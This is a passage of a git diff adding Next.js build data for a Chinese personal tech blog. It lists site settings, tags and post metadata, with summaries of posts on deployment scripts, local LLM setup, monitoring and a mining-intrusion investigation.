b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},"next":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240124-deploy.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240124-deploy.json new file mode 100644 index 000000000..975e2a17e --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240124-deploy.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core 